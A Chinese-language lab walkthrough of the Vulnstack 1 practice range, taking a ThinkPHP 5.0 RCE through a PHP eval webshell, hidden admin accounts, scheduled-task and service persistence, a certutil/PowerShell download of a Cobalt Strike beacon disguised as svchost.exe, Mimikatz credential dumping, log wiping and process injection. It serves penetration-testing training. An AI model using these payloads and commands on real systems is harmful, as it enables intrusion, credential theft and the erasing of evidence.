
红日靶场 Vulnstack 1 实战ThinkPHP 5.0 RCE 到 CS 上线的 5 个关键步骤在网络安全领域实战演练是提升渗透测试能力的重要途径。红日靶场 Vulnstack 1 作为经典的渗透测试训练环境模拟了从外网渗透到内网横向移动的完整攻击链路。本文将聚焦于该靶场第一阶段的核心攻击路径——通过 ThinkPHP 5.0 远程代码执行漏洞获取初始立足点并最终实现 Cobalt Strike 上线的完整过程。1. 环境准备与信息收集在开始实战之前需要确保靶场环境已正确搭建。Vulnstack 1 靶场包含三台虚拟机Windows 7作为 DMZ 区的 Web 服务器配置双网卡外网 192.168.150.152内网 192.168.52.143Windows Server 2008内网域控制器192.168.52.138Windows Server 2003内网域成员服务器192.168.52.141攻击机通常使用 Kali Linux192.168.150.128。首先进行基础网络连通性测试# 从 Kali 测试 Web 服务器连通性 ping 192.168.150.152 # 从 Windows 7 测试内网连通性 ping 192.168.52.138 ping 192.168.52.141关键配置检查点确保 Windows 7 的防火墙已关闭确认 PHPStudy 服务已启动Apache MySQL验证 Web 服务可通过浏览器访问http://192.168.150.152提示在实际渗透测试中信息收集阶段往往决定后续攻击的成功率。建议使用 Nmap 进行全面端口扫描识别所有开放服务。2. ThinkPHP 5.0 RCE 漏洞利用通过信息收集发现目标运行 ThinkPHP 5.0 框架该版本存在多个已知漏洞。我们重点利用其远程代码执行漏洞获取初始 shell。漏洞验证 访问以下 URL 验证漏洞是否存在http://192.168.150.152/index.php?s/Index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1如果页面返回 PHP 配置信息说明漏洞存在。获取 WebShell 使用以下 Payload 写入一句话木马http://192.168.150.152/index.php?s/Index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]file_put_contentsvars[1][]shell.phpvars[1][]?php eval($_POST[cmd]);?验证 Webshell 是否写入成功http://192.168.150.152/shell.php交互式 Shell 通过蚁剑或中国菜刀连接 Webshell也可以直接使用系统命令# 检查当前权限 whoami # 查看网络配置 ipconfig # 测试外网连通性 ping 8.8.8.8注意在实际环境中应尽量避免直接使用明显的 Webshell 文件名建议使用随机字符串或隐藏于正常文件中。3. 权限提升与持久化获取 WebShell 后通常需要提升权限并建立持久化访问。在本次靶场中Web 服务以管理员权限运行因此无需额外提权。创建隐藏用户net user hacker Password123! /add net localgroup administrators hacker /add计划任务持久化schtasks /create /tn WindowsUpdate /tr C:\shell.exe /sc onstart /ru SYSTEM服务持久化sc create WindowsUpdate binpath cmd /c start C:\shell.exe start auto sc start WindowsUpdate4. Cobalt Strike Beacon 上线为了更好的进行后续内网渗透我们需要将会话迁移到 Cobalt Strike。以下是完整的上线流程步骤 1生成 Beacon 载荷在 Cobalt Strike 团队服务器上./teamserver 192.168.150.128 password然后通过客户端创建 Windows 可执行文件类型的 Beacon。步骤 2文件传输使用以下方法之一将 Beacon 上传到目标机器方法一Certutil 下载certutil -urlcache -split -f http://192.168.150.128/beacon.exe C:\Windows\Temp\svchost.exe方法二PowerShell 下载(New-Object System.Net.WebClient).DownloadFile(http://192.168.150.128/beacon.exe,C:\Windows\Temp\svchost.exe)步骤 3执行 Beaconstart C:\Windows\Temp\svchost.exe验证上线 在 Cobalt Strike 控制台查看是否收到新会话执行基本命令测试beacon shell whoami beacon shell ipconfig5. 初始信息收集与内网侦察成功上线 CS 后需要进行系统的信息收集为后续内网渗透做准备。基础系统信息systeminfo whoami /all hostname网络拓扑信息ipconfig /all arp -a netstat -ano域环境信息net config workstation net view /domain net group Domain Admins /domain凭证收集# 使用 Mimikatz 抓取密码 mimikatz.exe privilege::debug sekurlsa::logonpasswords exit内网主机发现for /L %i in (1,1,254) do ping -n 1 192.168.52.%i | find TTL端口扫描# 使用内置 portscan 模块 beacon portscan 192.168.52.138 1-1024 arp将收集到的信息整理为如下表格信息类型关键发现后续行动建议系统权限NT AUTHORITY\SYSTEM无需提权域环境存在域 GOD当前为域管理员准备横向移动内网主机192.168.52.138 (DC)优先攻击域控凭证信息获取域管理员明文密码尝试 Pass-the-Hash6. 攻击路径优化与痕迹清理在进入内网之前建议优化攻击路径并清理痕迹隧道搭建# 使用 CS 的 socks 功能建立代理 beacon socks 1080日志清理# 清除系统日志 wevtutil cl system wevtutil cl security wevtutil cl application文件隐藏attrib h s C:\Windows\Temp\svchost.exe进程注入# 将 Beacon 注入到合法进程 beacon inject -pid 1234 -x64通过以上五个关键步骤我们成功从外网 Web 漏洞利用获取了内网第一个立足点。在实际渗透测试项目中这种初始突破往往是最关键的环节为后续的内网横向移动和权限提升奠定了基础。